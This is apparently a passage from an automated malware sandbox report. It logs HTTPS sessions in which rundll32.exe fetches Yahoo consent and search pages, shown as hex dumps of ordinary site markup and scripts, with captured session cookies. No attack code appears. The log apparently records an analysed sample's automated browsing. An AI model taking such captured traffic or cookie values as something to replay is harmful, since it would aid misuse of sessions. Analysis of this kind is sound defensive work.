2023-12-10 16:51:32 UTC	10365	IN	Data Raw: 76 69 65 3a 6e 2e 74 65 78 74 2e 6d 6f 76 69 65 2c 72 3d 65 2e 72 65 6c 65 61 73 65 44 61 74 65 3f 6e 65 77 20 44 61 74 65 28 65 2e 72 65 6c 65 61 73 65 44 61 74 65 29 3a 22 22 2c 74 3d 6e 65 77 20 44 61 74 65 2c 72 26 26 74 3c 72 3f 28 74 3d 72 2e 74 6f 4c 6f 63 61 6c 65 53 74 72 69 6e 67 28 5b 5d 2c 7b 64 61 79 3a 22 6e 75 6d 65 72 69 63 22 2c 6d 6f 6e 74 68 3a 22 73 68 6f 72 74 22 7d 29 2c 65 2e 73 75 62 74 69 74 6c 65 3d 69 2b 22 20 26 6d 69 64 64 6f 74 3b 20 22 2b 61 2b 22 20 26 6d 69 64 64 6f 74 3b 20 22 2b 6e 2e 74 65 78 74 2e 74 68 65 61 74 65 72 2b 22 20 22 2b 74 29 3a 28 73 3d 65 2e 6f 66 66 65 72 26 26 65 2e 6f 66 66 65 72 2e 6f 66 66 65 72 48 6f 73 74 4e 61 6d 65 29 3f 65 2e 73 75 62 74 69 74 6c 65 3d 69 2b 22 20 26 6d 69 64 64 6f 74 3b 20 22 Data Ascii: vie:n.text.movie,r=e.releaseDate?new Date(e.releaseDate):"",t=new Date,r&&t<r?(t=r.toLocaleString([],{day:"numeric",month:"short"}),e.subtitle=i+" · "+a+" · "+n.text.theater+" "+t):(s=e.offer&&e.offer.offerHostName)?e.subtitle=i+" · "
2023-12-10 16:51:32 UTC	1219	IN	Data Raw: 6f 6e 28 29 7b 76 61 72 20 65 3d 73 2e 73 74 61 74 75 73 3b 28 34 3d 3d 73 2e 72 65 61 64 79 53 74 61 74 65 26 26 32 30 30 3c 3d 65 26 26 65 3c 33 30 30 7c 7c 33 30 34 3d 3d 3d 65 7c 7c 31 32 32 33 3d 3d 3d 65 29 26 26 28 6f 2e 6d 6f 64 65 6c 2e 72 65 6d 6f 76 65 41 74 28 63 29 2c 6e 2e 66 65 74 63 68 41 66 74 65 72 52 65 6d 6f 76 65 29 26 26 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6f 2e 6d 6f 64 65 6c 2e 66 65 74 63 68 28 29 7d 2c 6e 2e 64 65 6c 61 79 42 65 66 6f 72 65 46 65 74 63 68 29 7d 29 2c 73 2e 73 65 6e 64 28 6e 75 6c 6c 29 2c 6e 2e 70 6c 61 63 65 68 6f 6c 64 65 72 26 26 28 28 74 3d 74 68 69 73 2e 63 72 65 61 74 65 45 6c 65 6d 28 6e 2e 70 6c 61 63 65 68 6f 6c 64 65 72 2c 22 64 69 76 22 29 29 2e 69 6e 6e 65 72 48 54 4d 4c Data Ascii: on(){var e=s.status;(4==s.readyState&&200<=e&&e<300\|\|304===e\|\|1223===e)&&(o.model.removeAt(c),n.fetchAfterRemove)&&setTimeout(function(){o.model.fetch()},n.delayBeforeFetch)}),s.send(null),n.placeholder&&((t=this.createElem(n.placeholder,"div")).innerHTML
2023-12-10 16:51:32 UTC	16384	IN	Data Raw: 2c 63 61 6e 63 65 6c 3a 22 43 61 6e 63 65 6c 22 2c 72 65 61 73 6f 6e 73 3a 5b 7b 56 55 4c 47 41 52 3a 22 53 65 78 75 61 6c 6c 79 20 65 78 70 6c 69 63 69 74 2c 20 76 75 6c 67 61 72 20 6f 72 20 70 72 6f 66 61 6e 65 22 7d 2c 7b 43 48 49 4c 44 3a 22 48 61 72 6d 66 75 6c 20 74 6f 20 63 68 69 6c 64 72 65 6e 22 7d 2c 7b 48 41 54 45 3a 22 48 61 74 65 66 75 6c 20 74 6f 77 61 72 64 73 20 67 72 6f 75 70 73 22 7d 2c 7b 53 45 4e 53 49 54 49 56 45 3a 22 53 65 6e 73 69 74 69 76 65 20 6f 72 20 64 69 73 70 61 72 61 67 69 6e 67 20 66 6f 72 20 69 6e 64 69 76 69 64 75 61 6c 73 22 7d 2c 7b 53 55 49 43 49 44 45 3a 22 50 72 6f 6d 6f 74 69 6e 67 20 73 75 69 63 69 64 65 20 6f 72 20 73 65 6c 66 2d 68 61 72 6d 22 7d 2c 7b 54 45 52 52 4f 52 3a 22 50 72 6f 6d 6f 74 69 6e 67 20 74 65 Data Ascii: ,cancel:"Cancel",reasons:[{VULGAR:"Sexually explicit, vulgar or profane"},{CHILD:"Harmful to children"},{HATE:"Hateful towards groups"},{SENSITIVE:"Sensitive or disparaging for individuals"},{SUICIDE:"Promoting suicide or self-harm"},{TERROR:"Promoting te
2023-12-10 16:51:32 UTC	5336	IN	Data Raw: 65 6c 65 63 74 6f 72 28 22 69 6e 70 75 74 5b 74 79 70 65 3d 63 68 65 63 6b 62 6f 78 5d 22 29 2e 66 6f 63 75 73 28 29 2c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 63 6c 61 73 73 4e 61 6d 65 2b 3d 22 20 22 2b 74 68 69 73 2e 63 6f 6e 66 69 67 2e 63 73 73 2e 6e 61 6d 65 73 70 61 63 65 2b 22 2d 6e 6f 73 63 72 6f 6c 6c 22 7d 2c 68 69 64 65 50 61 6e 65 6c 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 72 65 70 6f 72 74 50 61 6e 65 6c 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 22 2c 70 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2c 74 68 69 73 2e 63 6f 6e 66 69 67 2e 63 73 73 2e 6e 61 6d 65 73 70 61 63 65 2b 22 2d 6e 6f 73 63 72 6f 6c 6c 22 29 2c 74 68 69 73 2e 61 70 70 2e 76 69 65 77 2e 65 6c 65 6d 73 2e 73 Data Ascii: elector("input[type=checkbox]").focus(),document.body.className+=" "+this.config.css.namespace+"-noscroll"},hidePanel:function(){this.reportPanel.style.display="none",p.removeClass(document.body,this.config.css.namespace+"-noscroll"),this.app.view.elems.s
2023-12-10 16:51:32 UTC	9829	IN	Data Raw: 32 22 29 3f 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 73 72 63 32 22 29 3a 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 73 72 63 22 29 7c 7c 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 5f 5f 73 72 63 22 29 7c 7c 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 5f 73 72 63 22 29 29 3b 6f 26 26 28 69 3f 28 69 3d 6f 2c 65 3d 61 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 61 2e 77 69 64 74 68 2c 6e 3d 61 2e 68 65 69 67 68 74 2c 72 3d 74 2e 68 65 69 67 68 74 2c 74 3d 74 2e 77 69 64 74 68 3b 6e 3c 3d 72 26 26 65 3c 3d 74 3f 28 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 6f 29 2c 61 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 73 72 63 22 29 2c 61 2e 72 65 6d Data Ascii: 2")?t.getAttribute("data-src2"):t.getAttribute("data-src")\|\|t.getAttribute("__src")\|\|t.getAttribute("_src"));o&&(i?(i=o,e=a,n=function(t){var e=a.width,n=a.height,r=t.height,t=t.width;n<=r&&e<=t?(a.setAttribute("src",o),a.removeAttribute("data-src"),a.rem

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	50141	52.44.77.224	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:31 UTC	879	OUT	GET /consent?brandType=eu&gcrumb=IM1lqPQ&lang=en-GB&done=https%3A%2F%2Fuk.search.yahoo.com%2Fsearch%3Fp%3Dit%2Bchange%2Bmanagement%2Bcourse%26fr%3Dsfp%26fr2%3D%26iscqry%3D%26vc%3D HTTP/1.1 Host: guce.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; A3=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; A1S=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; GUCS=ASDNZaj0 Referer: https://uk.search.yahoo.com/search?p=it+change+management+course&fr=sfp&fr2=&iscqry=&vc= Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:51:32 UTC	290	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 53 65 72 76 65 72 3a 20 67 75 63 65 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 3b 20 69 6e 63 6c 75 64 65 53 75 62 44 6f 6d 61 69 6e 73 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 63 6f 6e 73 65 6e 74 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 76 32 2f 63 6f 6c 6c 65 63 74 43 6f 6e 73 65 6e 74 3f 73 65 73 73 69 6f 6e 49 64 3d 31 5f 63 63 2d 73 65 73 73 69 6f 6e 5f 65 37 62 65 30 39 32 63 2d 64 31 31 63 2d 34 65 31 37 2d 39 31 31 66 2d 62 63 64 32 30 61 36 65 31 65 64 35 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 44 61 74 65 Data Ascii: HTTP/1.1 302 FoundConnection: closeServer: guceStrict-Transport-Security: max-age=31536000; includeSubDomainsLocation: https://consent.yahoo.com/v2/collectConsent?sessionId=1_cc-session_e7be092c-d11c-4e17-911f-bcd20a6e1ed5Content-Length: 0Date

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	50149	44.215.216.20	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:35 UTC	894	OUT	GET /v2/collectConsent?sessionId=1_cc-session_e7be092c-d11c-4e17-911f-bcd20a6e1ed5 HTTP/1.1 Host: consent.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; A3=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; A1S=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; GUCS=ASDNZaj0 Referer: https://guce.yahoo.com/consent?brandType=eu&gcrumb=IM1lqPQ&lang=en-GB&done=https%3A%2F%2Fuk.search.yahoo.com%2Fsearch%3Fp%3Dit%2Bchange%2Bmanagement%2Bcourse%26fr%3Dsfp%26fr2%3D%26iscqry%3D%26vc%3D Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:51:35 UTC	857	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 45 78 70 69 72 65 73 3a 20 30 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 2d 52 65 70 6f 72 74 2d 4f 6e 6c 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 6c 6f 63 6b 2d 61 6c 6c 2d 6d 69 78 65 64 2d 63 6f 6e 74 65 6e 74 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 3b 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 6e 6f 6e 65 27 3b 20 69 6d 67 2d 73 72 63 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 3b 20 6d 65 64 69 61 2d 73 72 63 20 27 6e 6f Data Ascii: HTTP/1.1 200 OKExpires: 0Cache-Control: no-cache, no-store, must-revalidateContent-Security-Policy-Report-Only: default-src 'none'; block-all-mixed-content; connect-src 'self'; frame-ancestors 'none'; img-src 'self' https://s.yimg.com; media-src 'no
2023-12-10 16:51:35 UTC	15527	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 63 6c 61 73 73 3d 22 6c 74 72 20 20 79 61 68 6f 6f 2d 70 61 67 65 20 68 65 69 67 68 74 31 30 30 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 59 61 68 6f 6f 20 69 73 20 70 61 72 74 20 6f 66 20 74 68 65 20 59 61 68 6f 6f 20 66 61 6d 69 6c 79 20 6f 66 20 62 72 61 6e 64 73 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 Data Ascii: <!DOCTYPE html><html dir="ltr" class="ltr yahoo-page height100"><head> <title>Yahoo is part of the Yahoo family of brands</title> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" > <meta name="viewport" content="width=device-w
2023-12-10 16:51:35 UTC	16384	IN	Data Raw: 70 78 7d 2e 79 62 61 72 2d 79 74 68 65 6d 65 2d 63 72 75 6e 63 68 3a 6e 6f 74 28 2e 5f 79 62 5f 31 38 7a 39 30 29 20 2e 5f 79 62 5f 31 62 77 69 67 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 35 66 38 66 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 79 62 2d 73 69 64 65 6e 61 76 2d 63 6c 6f 73 65 2d 62 74 6e 2d 62 61 63 6b 67 72 6f 75 6e 64 29 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 31 30 30 70 78 7d 2e 79 62 61 72 2d 79 74 68 65 6d 65 2d 63 72 75 6e 63 68 3a 6e 6f 74 28 2e 5f 79 62 5f 31 38 7a 39 30 29 20 2e 5f 79 62 5f 31 62 77 69 67 3a 61 63 74 69 76 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 30 65 34 65 39 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 Data Ascii: px}.ybar-ytheme-crunch:not(._yb_18z90) ._yb_1bwig:hover{background-color:#f5f8fa;background-color:var(--yb-sidenav-close-btn-background);border-radius:100px}.ybar-ytheme-crunch:not(._yb_18z90) ._yb_1bwig:active{background-color:#e0e4e9;background-color:va
2023-12-10 16:51:35 UTC	16384	IN	Data Raw: 2c 2e 5f 79 62 5f 31 66 62 76 70 2c 2e 79 62 61 72 2d 79 74 68 65 6d 65 2d 66 75 6a 69 32 20 2e 5f 79 62 5f 31 66 62 76 70 2c 2e 5f 79 62 5f 31 6b 36 38 7a 2c 2e 5f 79 62 5f 6d 64 6a 66 31 2c 2e 5f 79 62 5f 31 6f 65 69 6b 2c 2e 5f 79 62 5f 31 65 6f 69 75 2c 2e 5f 79 62 5f 76 62 69 62 6e 2c 2e 5f 79 62 5f 31 33 6d 6f 73 2c 2e 5f 79 62 5f 31 35 33 78 61 2c 2e 5f 79 62 5f 35 73 6f 6e 77 2c 2e 5f 79 62 5f 31 65 62 76 65 2c 2e 5f 79 62 5f 31 63 63 78 62 2c 2e 5f 79 62 5f 62 66 31 34 61 2c 2e 5f 79 62 5f 70 6e 66 6e 30 2c 2e 5f 79 62 5f 31 74 76 71 34 2c 2e 79 62 61 72 2d 79 74 68 65 6d 65 2d 66 75 6a 69 32 20 2e 5f 79 62 5f 31 32 34 7a 6a 2c 2e 79 62 61 72 2d 79 74 68 65 6d 65 2d 66 75 6a 69 32 2e 79 62 61 72 2d 70 72 6f 70 65 72 74 79 2d 68 6f 6d 65 70 61 67 Data Ascii: ,._yb_1fbvp,.ybar-ytheme-fuji2 ._yb_1fbvp,._yb_1k68z,._yb_mdjf1,._yb_1oeik,._yb_1eoiu,._yb_vbibn,._yb_13mos,._yb_153xa,._yb_5sonw,._yb_1ebve,._yb_1ccxb,._yb_bf14a,._yb_pnfn0,._yb_1tvq4,.ybar-ytheme-fuji2 ._yb_124zj,.ybar-ytheme-fuji2.ybar-property-homepag
2023-12-10 16:51:35 UTC	6249	IN	Data Raw: 61 64 69 6e 67 22 3e 59 61 68 6f 6f 20 66 61 6d 69 6c 79 20 6f 66 20 62 72 61 6e 64 73 3c 2f 73 70 61 6e 3e 3c 69 6d 67 20 73 72 63 3d 22 2e 2e 2f 73 74 61 74 69 63 2f 69 6d 61 67 65 73 2f 63 6c 6f 73 65 2e 73 76 67 22 20 61 6c 74 3d 22 22 3e 3c 73 70 61 6e 20 69 64 3d 22 63 6f 6e 73 65 6e 74 2d 79 61 68 6f 6f 2d 74 6f 6f 6c 74 69 70 22 20 63 6c 61 73 73 3d 22 69 6e 66 6f 2d 70 6f 70 75 70 2d 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 54 68 65 20 73 69 74 65 73 20 61 6e 64 20 61 70 70 73 20 74 68 61 74 20 77 65 20 6f 77 6e 20 61 6e 64 20 6f 70 65 72 61 74 65 2c 20 69 6e 63 6c 75 64 69 6e 67 20 59 61 68 6f 6f 20 61 6e 64 20 41 4f 4c 2c 20 61 6e 64 20 6f 75 72 20 64 69 67 69 74 61 6c 20 61 64 76 65 72 74 69 73 69 6e 67 20 73 65 72 76 69 63 65 2c 20 59 61 68 6f Data Ascii: ading">Yahoo family of brands</span><img src="../static/images/close.svg" alt=""><span id="consent-yahoo-tooltip" class="info-popup-description">The sites and apps that we own and operate, including Yahoo and AOL, and our digital advertising service, Yaho

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	50154	66.218.84.137	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:36 UTC	976	OUT	GET /search;_ylt=AwrErnCT7HVlEO4rMUxLBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&pz=7&fr=sfp&b=50&pz=7&pstart=13 HTTP/1.1 Host: uk.search.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; GUCS=AVYdtGeu; GUC=AQABCAFldzNlnUIgagTD&s=AQAAADRA1rku&g=ZXXsag; EuConsent=CP2kfsAP2kfsAAOACKENAdEgAAAAAAAAACiQAAAAAAAA; PROMO=ltv_pid=sfp&ltv_new=1&ltv_ts=1702227047&ltv_sts=1702227091&ltv_c=7 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:51:36 UTC	2068	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 31 3a 33 36 20 47 4d 54 0d 0a 70 33 70 3a 20 70 6f 6c 69 63 79 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 6f 6c 69 63 69 65 73 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 77 33 63 2f 70 33 70 2e 78 6d 6c 22 2c 20 43 50 3d 22 43 41 4f 20 44 53 50 20 43 4f 52 20 43 55 52 20 41 44 4d 20 44 45 56 20 54 41 49 20 50 53 41 20 50 53 44 20 49 56 41 69 20 49 56 44 69 20 43 4f 4e 69 20 54 45 4c 6f 20 4f 54 50 69 20 4f 55 52 20 44 45 4c 69 20 53 41 4d 69 20 4f 54 52 69 20 55 4e 52 69 20 50 55 42 69 20 49 4e 44 20 50 48 59 20 4f 4e 4c 20 55 4e 49 20 50 55 52 20 46 49 4e 20 43 4f 4d 20 4e 41 56 20 49 4e 54 20 44 45 4d 20 43 4e 54 20 53 54 41 20 50 4f Data Ascii: HTTP/1.1 200 OKdate: Sun, 10 Dec 2023 16:51:36 GMTp3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA PO
2023-12-10 16:51:36 UTC	482	IN	Data Raw: 32 65 30 36 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 64 3d 22 61 74 6f 6d 69 63 22 20 63 6c 61 73 73 3d 22 4e 6f 4a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 64 6e 73 2d 70 72 65 66 65 74 63 68 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 6e 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d Data Ascii: 2e06<!doctype html><html id="atomic" class="NoJs" lang="en-GB"><head><meta http-equiv="x-dns-prefetch-control" content="on"><meta http-equiv="content-type" content="text/html; charset=UTF-8"><link rel="apple-touch-icon" sizes="76x76" href="https://s.yim
2023-12-10 16:51:36 UTC	10632	IN	Data Raw: 63 6f 6d 2f 70 76 2f 73 74 61 74 69 63 2f 69 6d 67 2f 79 5f 69 63 6f 6e 5f 69 70 68 6f 6e 65 5f 31 32 30 2e 6d 69 6e 2e 70 6e 67 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6f 61 74 68 3a 67 75 63 65 3a 63 6f 6e 73 65 6e 74 2d 68 6f 73 74 22 20 63 6f 6e 74 65 6e 74 3d 22 67 75 63 65 2e 79 61 68 6f 6f 2e 63 6f 6d 22 2f 3e 3c 6e 6f 73 63 72 69 70 74 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 Data Ascii: com/pv/static/img/y_icon_iphone_120.min.png" /><meta name="referrer" content="origin"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta name="oath:guce:consent-host" content="guce.yahoo.com"/><noscript><meta http-equiv="refresh"
2023-12-10 16:51:36 UTC	14480	IN	Data Raw: 79 28 74 3d 74 7c 7c 72 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 72 65 66 65 72 72 65 72 70 6f 6c 69 63 79 22 29 29 3b 62 72 65 61 6b 7d 72 3d 72 2e 70 61 72 65 6e 74 4e 6f 64 65 7d 72 65 74 75 72 6e 21 30 7d 2c 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 63 3d 65 2c 74 68 69 73 2e 69 6e 6a 65 63 74 59 6c 63 3d 64 2c 63 2e 63 62 63 6c 6b 5f 72 65 67 65 78 70 26 26 28 69 3d 6e 65 77 20 52 65 67 45 78 70 28 63 2e 63 62 63 6c 6b 5f 72 65 67 65 78 70 29 29 2c 63 2e 79 6c 63 50 61 72 61 6d 26 26 28 75 2e 61 65 28 6e 2c 22 6d 6f 75 73 65 64 6f 77 6e 22 2c 74 68 69 73 2e 6d 64 65 68 29 2c 74 3d 21 30 29 7d 2c 64 65 73 74 72 6f 79 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 26 26 28 75 2e 64 65 28 6e 2c 22 6d 6f 75 73 65 64 6f 77 6e 22 2c 74 68 69 73 2e 6d Data Ascii: y(t=t\|\|r.getAttribute("referrerpolicy"));break}r=r.parentNode}return!0},init:function(e){c=e,this.injectYlc=d,c.cbclk_regexp&&(i=new RegExp(c.cbclk_regexp)),c.ylcParam&&(u.ae(n,"mousedown",this.mdeh),t=!0)},destroy:function(){t&&(u.de(n,"mousedown",this.m
2023-12-10 16:51:36 UTC	7656	IN	Data Raw: 69 6e 67 28 5b 5d 2c 7b 64 61 79 3a 22 6e 75 6d 65 72 69 63 22 2c 6d 6f 6e 74 68 3a 22 73 68 6f 72 74 22 2c 68 6f 75 72 3a 22 32 2d 64 69 67 69 74 22 2c 6d 69 6e 75 74 65 3a 22 32 2d 64 69 67 69 74 22 2c 74 69 6d 65 5a 6f 6e 65 4e 61 6d 65 3a 22 73 68 6f 72 74 22 2c 74 69 6d 65 5a 6f 6e 65 3a 65 2e 74 7a 7d 29 5d 29 3b 65 6c 73 65 7b 74 72 79 7b 65 2e 74 69 74 6c 65 3d 79 3f 43 28 74 2e 6c 5f 74 6d 70 6c 2c 5b 75 2c 66 2c 68 2c 6d 2c 67 5d 29 2b 27 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 27 2b 74 2e 6c 69 76 65 49 63 6f 6e 43 6c 61 73 73 2b 27 22 3e 27 2b 74 2e 6c 69 76 65 49 63 6f 6e 54 65 78 74 2b 22 3c 2f 73 70 61 6e 3e 22 3a 45 3f 43 28 74 2e 66 5f 74 6d 70 6c 2c 5b 75 2c 66 2c 68 2c 76 2e 74 6f 4c 6f 63 61 6c 65 53 74 72 69 6e 67 28 5b 5d 2c 7b 64 61 Data Ascii: ing([],{day:"numeric",month:"short",hour:"2-digit",minute:"2-digit",timeZoneName:"short",timeZone:e.tz})]);else{try{e.title=y?C(t.l_tmpl,[u,f,h,m,g])+'<span class="'+t.liveIconClass+'">'+t.liveIconText+"</span>":E?C(t.f_tmpl,[u,f,h,v.toLocaleString([],{da
